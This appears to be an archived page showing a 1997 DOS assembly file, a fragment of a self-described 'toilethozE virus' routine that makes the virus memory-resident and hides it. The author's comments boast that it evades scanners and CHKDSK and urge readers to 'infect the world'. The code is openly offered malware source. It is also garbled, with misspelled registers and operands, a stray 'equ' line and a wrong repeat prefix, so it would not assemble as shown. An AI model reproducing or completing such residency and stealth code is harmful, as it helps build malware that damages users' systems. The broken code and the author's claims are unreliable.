home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / toilethozE.asm < prev    next >
Assembly Source File  |  1997-05-29  |  2KB  |  38 lines

  1.  ;a memory stelth written by od^Phreak
  2. ;the toilethozE virus 
  3. mov     cx,ex                       ;attion!!!!!!!!
  4. dec     cx                          ;this is the toilethozE virus
  5. mov     es,cx                       ;written by my self od^Phreak
  6. mov     bx,es:para_size             ;some think my name is still crash&burn
  7. mov     dx,virus_size               ;but i am trying to get that straightend out
  8. mov     cl,4                        ;some dissagree with me and call this 
  9. shr     dx,cl                       ;a worm not a virus
  10. add     dx,4                        ;it is very simmular to a worm but sorry lamers!!
  11. mov     cx,es                       ;its a virus what this does is it
  12. sub     bx,ds                       ;can not be detected by tbav or any scanner
  13. inc     cx                          ;if you perform check disk it doesnt find
  14. mov     es,cx                       ;any dammaged sectorz or missing memory
  15. mov     ah,4ah                      ;why is this you ask 
  16. int     21h                         ;well cause the virus
  17. jc      exit_com                    ;eats out your memory but
  18. mov     ah,48h                      ;you dont know its gone cause
  19. dec     dx                          ; the memory is realy stiill there
  20. mov     bx,dx                       ;cool huh
  21. int     21h                         ;so once it has eaten all of the memory it
  22. equ     2                           ;zipz of with all the memory in it stomach
  23. jc      exit_com                    ;so there is no more memory left
  24. dec     ax                          ;!!!!!!!!!!!!!!!!!!!!!
  25. mov     es,ax                       ;cool huh
  26. mov     cx,8h                       ;enjoy and infect the world
  27. mov     es:mem,cx                   ;thank you
  28. sub     ax,ofh                      ;
  29. mov     di,103h                     ;od^phreak
  30. mov     es,ax                       ;
  31. mov     si,bp                       ;not
  32. add     si,ofset init_virus         ;
  33. mov     cx,virus_size               ;crash^n^burn anyomore
  34. cld                                 ;
  35. repne   movsb                       ;
  36.                 
  37.  
  38.